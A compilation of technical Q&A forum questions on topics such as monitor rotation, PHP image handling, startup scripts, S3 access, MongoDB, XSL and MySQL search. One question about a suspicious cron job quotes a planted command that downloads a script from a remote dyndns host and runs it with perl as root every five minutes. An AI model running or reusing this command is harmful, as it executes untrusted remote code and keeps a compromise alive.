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  • Rotate monitor to portrait on Windows Server 2003 with ATI card

    - by user10179
    Does anyone know if it is possible to rotate a monitor from landscape to portrait mode on Windows Server 2003 32-bit with an ATI video card? According to Dell's site, I should be able to rotate my Dell P2310H monitor by installing drivers from their website, but they don't have drivers for Windows Server 2003. I let Windows Update search for the driver (with the driver CD that came with the monitor in my drive) and it did install drivers, but I still don't see any options for rotating. Some people say that the ATI Catalyst Control Center allows for monitor rotation, but I've never been able to run that software on Windows Server 2003. A google search reports that others have the same problem. Has anyone successfully figured out how to rotate a monitor on Windows Server 2003 with an ATI card?

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  • Making alpha PNGs with PHP GD

    - by WiseDonkey
    Hello, I've got a problem making alpha PNGs with PHP GD. I don't have imageMagik etc. Though the images load perfectly well in-browser and in GFX programs, I'm getting problems with Flash AS3 (actionscript) understanding the files. It complains of being an unknown type. But, exporting these files from Fireworks to the same spec works fine. So I'm suggesting it's something wrong with the formatting in PHP GD. There seems to be a number of ways of doing this, with several similar functions; so maybe this isn't right? $image_p = imagecreatetruecolor($width_orig, $height_orig); $image = imagecreatefrompng($filename); imagealphablending($image_p, false); ImageSaveAlpha($image_p, true); ImageFill($image_p, 0, 0, IMG_COLOR_TRANSPARENT); imagealphablending($image_p, true); imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width_orig, $height_orig, $width_orig, $height_orig); imagepng($image_p, "new2/".$filename, 0); imagedestroy($image_p); This just takes files it's given and puts them into new files with a specified width/height - for this example it's same as original but in production it resizes, which is why I'm resampling.

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  • Startup script on Ubuntu 12.04 not getting executed. Dependencies / load order.

    - by user861181
    I want to create a simple startup script on Ubuntu 12.04: myscript.sh #!/bin/sh sudo /etc/init.d/nginx start cd ~/app/current god -c config/resque.god sudo /etc/init.d/redis-server start echo "SCRIPT RUN" I have it at /etc/init.d/myscript.sh When I do sudo chkconfig --level 2345 myscript.sh I get myscript.sh 2345 When I do sudo chkconfig --add myscript.sh I get insserv: warning: script 'K01myscript.sh' missing LSB tags and overrides insserv: warning: script 'myscript.sh' missing LSB tags and overrides The script you are attempting to invoke has been converted to an Upstart job, but lsb-header is not supported for Upstart jobs. insserv: warning: script 'dbus' missing LSB tags and overrides .... myscript.sh 0:off 1:off 2:on 3:on 4:on 5:on 6:off ** EDIT:: I checked the boot.log and it turns out that the script is run, but the problem is that god is not loaded yet when the script is executed. Apparently I want to load this script as the very last thing at startup (or somehow check if god is loaded and then start the script).

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  • FreeBSD Ngnix installation error

    - by Asaf Nevo
    I have a VPS which has Apache webserver installed. I'm trying to install Ngnix on it since my new server will be needing to handle large amount of connection simultaneously. I used this install guide and did: cd /usr/ports/www/nginx make install clean However I get this error: adding module in /usr/ports/www/nginx/work/arut-nginx-dav-ext-module-0e07a3e ./configure: error: no /usr/ports/www/nginx/work/arut-nginx-dav-ext-module-0e07a3e/config was found ===> Script "configure" failed unexpectedly. I'm pretty new to FreeBSD and I am used to controlling my server using Direct Admin. What shall I do next ?

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  • Fabric and cygwin don't work with windows UNC paths

    - by tcoopman
    I have some strange problems with fabric deployment to Windows Server 2008r2. The thing I try to accomplish is to copy some files to a shared folder with a fabric script (this script does a lot of other things too, but only this step gives me problems). This is the problem: When I try to access a UNC(Universal Naming convention) path I always get access denied kind of answers if I run the script in fabric. When I run the command in an ssh prompt (same user) it works fine. Examples: cmd: robocopy f:/.... //share result: in ssh this works fine, in fabric I get "Logon failure: the user has not been granted the requested logon type aat this computer." cmd: cd //share result: in ssh this works fine, in fabric I get "//share: Not a directory" Further information: uname -a and whoami return exact the same thing in fabric and ssh. I also tried things like mount, net use, but these commands all have kind of the same problem.

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  • How to make images hosted on Amazon S3 less public but not completely private?

    - by Jay Godse
    I fired up a sample application that uses Amazon S3 for image hosting. I managed to coax it into working. The application is hosted at github.com. The application lets you create users with a profile photo. When you upload the photo, the web application stores it on Amazon S3 instead of your local file system. (Very important if you host at heroku.com) However, when I did a "view source" in the browser of the page I noticed that the URL of the picture was an Amazon S3 URL in the S3 bucket that I assigned to the app. I cut & pasted the URL and was able to view the picture in the same browser, and in in another browser in which I had no open sessions to my web app or to Amazon S3. Is there any way that I could restrict access to that URL (and image) so that it is accessible only to browsers that are logged into my applications? Most of the information I found about Amazon ACLs only talk about access for only the owner or to groups of users authenticated with Amazon or AmazonS3, or to everybody anonymously.

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  • Updating a specific key/value inside of an array field with MongoDB

    - by Jesta
    As a preface, I've been working with MongoDB for about a week now, so this may turn out to be a pretty simple answer. I have data already stored in my collection, we will call this collection content, as it contains articles, news, etc. Each of these articles contains another array called author which has all of the author's information (Address, Phone, Title, etc). The Goal - I am trying to create a query that will update the author's address on every article that the specific author exists in, and only the specified author block (not others that exist within the array). Sort of a "Global Update" to a specific article that affects his/her information on every piece of content that exists. Here is an example of what the content with the author looks like. { "_id" : ObjectId("4c1a5a948ead0e4d09010000"), "authors" : [ { "user_id" : null, "slug" : "joe-somebody", "display_name" : "Joe Somebody", "display_title" : "Contributing Writer", "display_company_name" : null, "email" : null, "phone" : null, "fax" : null, "address" : null, "address2" : null, "city" : null, "state" : null, "zip" : null, "country" : null, "image" : null, "url" : null, "blurb" : null }, { "user_id" : null, "slug" : "jane-somebody", "display_name" : "Jane Somebody", "display_title" : "Editor", "display_company_name" : null, "email" : null, "phone" : null, "fax" : null, "address" : null, "address2" : null, "city" : null, "state" : null, "zip" : null, "country" : null, "image" : null, "url" : null, "blurb" : null }, ], "tags" : [ "tag1", "tag2", "tag3" ], "title" : "Title of the Article" } I can find every article that this author has created by running the following command: db.content.find({authors: {$elemMatch: {slug: 'joe-somebody'}}}); So theoretically I should be able to update the authors record for the slug joe-somebody but not jane-somebody (the 2nd author), I am just unsure exactly how you reach in and update every record for that author. I thought I was on the right track, and here's what I've tried. b.content.update( {authors: {$elemMatch: {slug: 'joe-somebody'} } }, {$set: {address: '1234 Avenue Rd.'} }, false, true ); I just believe there's something I am missing in the $set statement to specify the correct author and point inside of the correct array. Any ideas? **Update** I've also tried this now: b.content.update( {authors: {$elemMatch: {slug: 'joe-somebody'} } }, {$set: {'authors.$.address': '1234 Avenue Rd.'} }, false, true );

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  • Decompressing Files on an NTFS Volume from Linux

    - by amphetamachine
    I recently did something stupid on my dual-boot laptop, where I compressed the entire volume to make room for a Linux partition. For some reason, Windows let me compress C:\ntldr. Now I need to get it uncompressed in order for Windows to boot. Here are some of the operating restrictions I have: I do not have access to the BIOS. I cannot boot from CD/USB/floppy. (I installed Linux through PXE) It does not have network access. Is there were some way to specify that the ntfs-3g driver shouldn't compress files even if it thinks it should (if the directory is compressed) when mounting the volume? Or, is there a way to modify the attributes of a directory using ntfstools?

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  • Suspect cron job Centos 6.5 + Virtualmin, Recommended course of action?

    - by sr_1436048
    I was doing some routine maintenance on my server and noticed a new cron job. It is set to run every 5 minutes as root: cd /tmp;wget http://eventuallydown.dyndns.biz/abc.txt;curl -O http://eventuallydown.dyndns.biz/abc.txt;perl abc.txt;rm -f abc* I've tried to download the file, but there is nothing to download. The server is running normally and there are no strange signs that the box has been compromised other than this entry. The only thing I can think of is I recently installed Varnish Cache following this tutorial. Given that I did not enter the cron job and that there appears to be nothing wrong, besides disabling that cron job what would be the appropriate course of action from this point?

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  • OpenCV and iPhone

    - by gn-mithun
    Hello, I am writing an application to create a movie file from a bunch of images on an iPhone. I am using OpenCv. I downloaded openCv static libraries for arm(iPhones native instruction architecture) and the libraries were generated just fine. There were no problems linking to them libraries. As a first step, i was trying to create a .avi file using one image, to see if it works. But cvCreateVideoWriter always returns me a NULL value. I did some searchin and i believe its due to the codec not being present. I am trying this on the iPhone simulator. this is what i do... (void)viewDidLoad { [super viewDidLoad]; UIImage *anImage = [UIImage imageNamed:@"1.jpg"]; IplImage *img_color = [self CreateIplImageFromUIImage:anImage]; //The image gets created just fine CvVideoWriter *writer = cvCreateVideoWriter("out.avi",CV_FOURCC('P','I','M','1'), 25,cvSize(320,480),1); //writer is always null int result = cvWriteFrame(writer, img_color); NSLog(@"\n%d",result); //hence this is also 0 all the time cvReleaseVideoWriter(&writer); } I am not sure about the the second parameter. What sort of codec or what exactly it does... I am a n00B in this. Any suggestions?

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  • Install full version of Unity on Chrome OS using crouton

    - by Sam Kong
    I have an Acer Chromebook. Using crouton, I installed Ubuntu (unity) on it. I am pretty familiar Ubuntu 12.04. But the installed one is very minimized package. My fonts are missing and I manually installed language pack for Korean but still browser can't display Korean characters. Is there a way to install the whole packages via crouton like when you install Ubuntu 12.04 with the CD? Or is there a script that installs the missing packages on the bare Ubuntu? Thanks. Sam

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  • bing search api ajax does not work

    - by jhon
    Hi guys, I want to use the Bing's search api with javascript. Actually, I want the user to write something and query Bing in order to get just images. so, I tried it using ajax. If I try the url http://api.search.live.net/xml.aspx?Appid=[YOURAPIKEY]&sources=image&query=home directly (with the browser) I do get an xml document. but if I use XMLHttpRequest it does not work. <html> <body> <script> var xhr = new XMLHttpRequest(); var url="http://api.search.live.net/xml.aspx?Appid=[YOURAPIKEY]&sources=image&query=home" xhr.open("GET", url, true ); xhr.onreadystatechange=function(){ /*if( xhr.readyState == 4 && xhr.status == 200) { document.write( xhr.responseText ); }*/ alert( xhr.readyState +" "+xhr.status +xhr.statusText +xhr); }; xhr.send(null); </script> </body> </html> Questions: 1) why does the code from above does not work? 2) any other way to do this without XMLHttpRequest? thanks. btw. I'm just interested in fix this for Firefox and without external libraries (jquery and so on).

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  • Modifying %HOME% on Emacs 24.3 on Windows causes .emacs to not be found

    - by David
    In order for magit to read my git settings on Emacs 24.3.1 for Windows, I added the following configuration from a stack overflow post: (when (string-equal system-type "windows-nt") (setenv "HOME" (concat (getenv "HOMEDRIVE") (getenv "HOMEPATH"))) Interestingly, after this is added to my .emacs, Emacs thinks .emacs doesn't exist anymore. If I do M-x cd to ~ and then do M-x pwd it says ~ is located at C:\Users\Me\AppData\Roaming. It appears that emacs is reading the .emacs settings file because it loads my custom theme. However, if I try to find ~/.emacs Emacs doesn't see it. The file has all permissions on the file system for any user.

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  • Filtering most out of XML with XSL?

    - by Gnudiff
    I need to transform a lot of XML files (Fedora export) into a different kind of XML. Trying to do it with XSL stylesheets and checking with the msxsl transformer. Supposedly I have xml file like this (assuming there are actually other nodes inside AAA, OBJ, amd all other nodes), Source.XML: <DOC> <AAA> <STUFF>example</STUFF> <OBJ> <OBJVERS id="A1" CREATED="2008-02-18T13:28:08.245Z"/> <OBJVERS id="A2" CREATED="2008-02-19T10:42:41.965Z"/> <OBJVERS id="A13" CREATED="2009-03-16T12:43:11.703Z"/> </OBJ> </AAA> <FFF/> <GGG/> <DDD> <FILE /> </DDD> </DOC> Which I need to look something like this (Target.XML): <MYOBJ> <ELEM>contents of OBJVERS with the biggest id OR creation date (whichever is easier to do) go here</ELEM> <IMAGE> contents of <FILE> node go here</IMAGE> </MYOBJ> The main problem that I have is that since I am new to XSL (and for this particular task do not have enough time to learn it properly) is that I can't understand how to tell XSL processor not to process anything else, I keep getting output from , for example. Update: basically, I solved this problem meanwhile. I will post my own answer and close the question. Update2: OK, Andrew's answer works, too, so I am just accepting it. :)

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  • What is IPKVM and why would I need that to install SQL Server on my Web Server?

    - by Eric
    Hello. I have a dedicated server, and will be installing SQL Server. However, my hosting company said they can connect an external CD ROM drive and give me KVM over IP to install SQL Server. My question is, what is IPKVM, and how does it work? Do I need special hardware or software on my side to use it....or do I just connect via remote desktop? Also, why can't I remote into my server through remote desktop instead of using KVM over IP?

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  • Efficient Method for Preventing Hotlinking via .htaccess

    - by Michael Robinson
    I need to confirm something before I go accuse someone of ... well I'd rather not say. The problem: We allow users to upload images and embed them within text on our site. In the past we allowed users to hotlink to our images as well, but due to server load we unfortunately had to stop this. Current "solution": The method the programmer used to solve our "too many connections" issue was to rename the file that receives and processes image requests (image_request.php) to image_request2.php, and replace the contents of the original with <?php header("HTTP/1.1 500 Internal Server Error") ; ?> Obviously this has caused all images with their src attribute pointing to the original image_request.php to be broken, and is also the wrong code to be sending in this case. Proposed solution: I feel a more elegant solution would be: In .htaccess If the request is for image_request.php Check referrer If referrer is not our site, send the appropriate header If referrer is our site, proceed to image_request.php and process image request What I would like to know is: Compared to simply returning a 500 for each request to image_request.php: How much more load would be incurred if we were to use my proposed alternative solution outlined above? Is there a better way to do this? Our main concern is that the site stays up. I am not willing to agree that breaking all internally linked images is the best / only way to solve this. I refuse to tell our users that because of something WE changed they must now manually change the embed code in all their previously uploaded content.

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  • Making backup of the System Restore Partition with netbooks

    - by devoured elysium
    I have a netbook that has two partitions. A first one where I have all my programs and stuff and a second one that came with the netbook and has the data so I can restore my computer if I need to. Now, as I had problems in the past with other computers that had a similar restore scheme, I know I must in some way do a backup of this partition, so if there is any problem I can put everything working again. How should I proceed? As this is a netbook, it doesn't have a CD reader. Maybe doing a backup of this partition to a 12GB(it seems this partition occupies this much!) usb? How could I do it? Thanks

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  • Compiling Ruby on Mac OS X Snow Leopard

    - by gryzzly
    Hi, I am trying to follow this tutorial, on the subject of compiling ruby and rubygems on Snow Leopard: http://hivelogic.com/articles/compiling-ruby-rubygems-and-rails-on-snow-leopard I have added this to my ~/.profile: export PATH="/usr/local/bin:/usr/local/sbin:/usr/local/mysql/bin:$PATH" But if I write: echo $PATH I get: /opt/local/bin:/opt/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/local/git/bin:/usr/X11/bin But in tutorial it says: You should see /usr/local/bin at the beginning of the line returned by the system. I have installed macports sometime ago and plenty of other software, perhaps it has changed the path. Anyway, I have tried to proceed with the installation, so I have built ruby, I did: ./configure --enable-shared --enable-pthread CFLAGS=-D_XOPEN_SOURCE=1 make sudo make install cd .. But when I do which ruby I get: /usr/bin/ruby And according to the tutorial that's wrong. Also if I do ruby -v I get the older version of ruby that was preinstalled on Snow Leopard and not the one I've compiled. Thanks.

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  • Trying to create a git repo that does an automatic checkout everytime someone updates origin

    - by Dane Larsen
    Basically, I have a server with a git repo 'origin'. I'm trying to have another repo auto-pull from origin every time someone pushes code to it. I've been using the hooks in origin, specifically post-receive. So far, my post receive looks something like this: #!/bin/sh GIT_DIR=/home/<user>/<test_repo> git pull origin master But when I push to origin from another computer, I get the error: remote: fatal: Not a git repository: '/home/<user>/<test_repo>' However, test_repo most definitely is a git repo. I can cd into it and run 'git pull origin master' and it works fine. Is there an easier way to do what I'm trying to do? If not, what am I doing wrong with this approach? Thanks in advance. Edit, to clarify: The repo is a website in progress, and I'd like to have a version of it available at all times that is fully up to date.

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  • qTip jQuery Plugin not always Firing

    - by tonsils
    Hi, I am using the qTip jquery plugin qTip plugin for a website I'm working on based on another thread I raised here: stack overflow thread My question is, I have a navigation bar running along the top of my screen which is basically sets the title attribute based on the tab menu you are in, these are all stored within a javascript array. For example, I have three menu options running along the top of the screen, say Menu A, Menu B and Menu C. I also have an information image positioned at the rightmost position of the nav bar, which I set the title attribute, based on the Menu option selected in the Nav Bar. For example: Menu A => myRole[0] = "Admin" Menu B => myRole[1] = "Manager" Menu C => myRole[2] = "Guest" So basically as the user clicks on each of the menus in the nav bar, I set the title attribute in the information image to either "Admin","Manager" or "Guest". At startup, the qTip plugin works and displays "Admin" when I hover over it but when I change the menu to Menu C, it still displays "Admin" instead of "Guest" From the looks of it, it doesn't seem to be calling the qTip plugin, which I have positioned at the footer of the screen (see actual code below). Any ideas how to ensure that the qTip fires every time I click/change menu options and pickups value within javascript array? <script type="text/javascript" src="jquery.qtip-1.0.0-rc3.min.js"></script> <script type="text/javascript"> $(document).ready(function() { $('div#infoi img[title]').qtip({ position: { adjust: { x:-110, y:0 }, corner: { target: 'bottomLeft', tooltip: 'topMiddle' } }, style: { width: 250, padding: 5, background: '#E7F1FA', color: 'black', textAlign: 'center', border: { width: 3, color: '#65a9d7' }, tip: 'topRight' } }); }); </script> Thanks.

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  • Cannot login to XP SP3 in VMWarePlayer virtual machine in safe mode

    - by Alper
    Hello, Here is my setup Host OS: XP SP3 Guest OS: XP SP3 (using VMWare) I checked the /SAFEBOOT option in System Config utility in guest for troubleshooting. Now the guest OS boots up in Safe Mode but I cannot login with my user id/password. Here is what I tried: [domainName]\[userid] for user name = Login Fails Administrator with blank password = Login fails Safe Mode with Networking = Login fails Safe Mode with Command Prompt = Login fails Last Known Good Configuration = starts in safe mode, login fails Start Windows Normally = starts in safe mode, login fails Don't have cd to get to the recovery console Any ideas?

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  • commitAnimations is not resizing my UIImageView subview

    - by AaronG
    I have created a UIView as a subview and to that subview I have added a UIImageView as a subview. UIView *viewCreated; UIButton *buttonCreated; UIImageView *imageViewCreated; CGRect myFrame = CGRectMake(0, 0, 1024, 1024); viewCreated = [[UIView alloc] initWithFrame:myFrame]; [viewCreated setTag:intTag]; viewCreated.backgroundColor = [UIColor redColor]; [self.view addSubview:viewCreated]; [self randomize]; UIImage *d1Image = [UIImage imageNamed:[NSString stringWithFormat:@"image%d.png", randomNumber]]; imageViewCreated = [[UIImageView alloc] initWithFrame:CGRectMake(0.0f,0.0f,1024.0f, 1024.0f)]; [imageViewCreated setImage:[UIImage imageNamed:[NSString stringWithFormat:@"image%d.png", randomNumber]]]; [viewCreated addSubview:imageViewCreated]; //[imageViewCreated release]; return [viewCreated autorelease]; But when this code executes only the first subview is animated and resized. The UiimageView moves 200 pixels to the left but does not get resized. NSLog(@"sender tag %i",[sender tag]); UIView *currentView = [self.view viewWithTag:[sender tag]]; [UIView beginAnimations:nil context:NULL]; [UIView setAnimationDuration:1.5]; currentView.frame = CGRectMake(-200, 0,40, 102); [UIView commitAnimations]; I am pretty sure am I not creating the subviews correctly programmatically, because when I do it in Interface Builder it works as expected. Do I have to do something specific to actually attach the behavior of the second subview to the first subview?

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  • MySQL FULLTEXT not working

    - by Ross
    I'm attempting to add searching support for my PHP web app using MySQL's FULLTEXT indexes. I created a test table (using the MyISAM type, with a single text field a) and entered some sample data. Now if I'm right the following query should return both those rows: SELECT * FROM test WHERE MATCH(a) AGAINST('databases') However it returns none. I've done a bit of research and I'm doing everything right as far as I can tell - the table is a MyISAM table, the FULLTEXT indexes are set. I've tried running the query from the prompt and from phpMyAdmin, with no luck. Am I missing something crucial? UPDATE: Ok, while Cody's solution worked in my test case it doesn't seem to work on my actual table: CREATE TABLE IF NOT EXISTS `uploads` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` text NOT NULL, `size` int(11) NOT NULL, `type` text NOT NULL, `alias` text NOT NULL, `md5sum` text NOT NULL, `uploaded` datetime NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=6 ; And the data I'm using: INSERT INTO `uploads` (`id`, `name`, `size`, `type`, `alias`, `md5sum`, `uploaded`) VALUES (1, '04 Sickman.mp3', 5261182, 'audio/mp3', '1', 'df2eb6a360fbfa8e0c9893aadc2289de', '2009-07-14 16:08:02'), (2, '07 Dirt.mp3', 5056435, 'audio/mp3', '2', 'edcb873a75c94b5d0368681e4bd9ca41', '2009-07-14 16:08:08'), (3, 'header_bg2.png', 16765, 'image/png', '3', '5bc5cb5c45c7fa329dc881a8476a2af6', '2009-07-14 16:08:30'), (4, 'page_top_right2.png', 5299, 'image/png', '4', '53ea39f826b7c7aeba11060c0d8f4e81', '2009-07-14 16:08:37'), (5, 'todo.txt', 392, 'text/plain', '5', '7ee46db77d1b98b145c9a95444d8dc67', '2009-07-14 16:08:46'); The query I'm now running is: SELECT * FROM `uploads` WHERE MATCH(name) AGAINST ('header' IN BOOLEAN MODE) Which should return row 3, header_bg2.png. Instead I get another empty result set. My options for boolean searching are below: mysql> show variables like 'ft_%'; +--------------------------+----------------+ | Variable_name | Value | +--------------------------+----------------+ | ft_boolean_syntax | + -><()~*:""&| | | ft_max_word_len | 84 | | ft_min_word_len | 4 | | ft_query_expansion_limit | 20 | | ft_stopword_file | (built-in) | +--------------------------+----------------+ 5 rows in set (0.02 sec) "header" is within the word length restrictions and I doubt it's a stop word (I'm not sure how to get the list). Any ideas?

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  • Can I load a UIImage from a URL?

    - by progrmr
    I have a URL for an image (got it from UIImagePickerController) but I no longer have the image in memory (the URL was saved from a previous run of the app). Can I reload the UIImage from the URL again? I see that UIImage has a imageWithContentsOfFile: but I have a URL. Can I use NSData's dataWithContentsOfURL: to read the URL? EDIT based on @Daniel's answer I tried the following code but it doesn't work... NSLog(@"%s %@", __PRETTY_FUNCTION__, photoURL); if (photoURL) { NSURL* aURL = [NSURL URLWithString:photoURL]; NSData* data = [[NSData alloc] initWithContentsOfURL:aURL]; self.photoImage = [UIImage imageWithData:data]; [data release]; } When I ran it the console shows: -[PhotoBox willMoveToWindow:] file://localhost/Users/gary/Library/Application%20Support/iPhone%20Simulator/3.2/Media/DCIM/100APPLE/IMG_0004.JPG *** -[NSURL length]: unrecognized selector sent to instance 0x536fbe0 *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '*** -[NSURL length]: unrecognized selector sent to instance 0x536fbe0' Looking at the call stack, I'm calling URLWithString, which calls URLWithString:relativeToURL:, then initWithString:relativeToURL:, then _CFStringIsLegalURLString, then CFStringGetLength, then forwarding_prep_0, then forwarding, then -[NSObject doesNotRecognizeSelector]. Any ideas why my NSString (photoURL's address is 0x536fbe0) doesn't respond to length? Why does it say it doesn't respond to -[NSURL length]? Doesn't it know that param is an NSString, not a NSURL?

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  • Multi-dimensional array edge/border conditions

    - by kirbuchi
    Hi, I'm iterating over a 3 dimensional array (which is an image with 3 values for each pixel) to apply a 3x3 filter to each pixel as follows: //For each value on the image for (i=0;i<3*width*height;i++){ //For each filter value for (j=0;j<9;j++){ if (notOutsideEdgesCondition){ *(**(outArray)+i)+= *(**(pixelArray)+i-1+(j%3)) * (*(filter+j)); } } } I'm using pointer arithmetic because if I used array notation I'd have 4 loops and I'm trying to have the least possible number of loops. My problem is my notOutsideEdgesCondition is getting quite out of hands because I have to consider 8 border cases. I have the following handled conditions Left Column: ((i%width)==0) && (j%3==0) Right Column: ((i-1)%width ==0) && (i>1) && (j%3==2) Upper Row: (i<width) && (j<2) Lower Row: (i>(width*height-width)) && (j>5) and still have to consider the 4 corner cases which will have longer expressions. At this point I've stopped and asked myself if this is the best way to go because If I have a 5 line long conditional evaluation it'll not only be truly painful to debug but will slow the inner loop. That's why I come to you to ask if there's a known algorithm to handle this cases or if there's a better approach for my problem. Thanks a lot.

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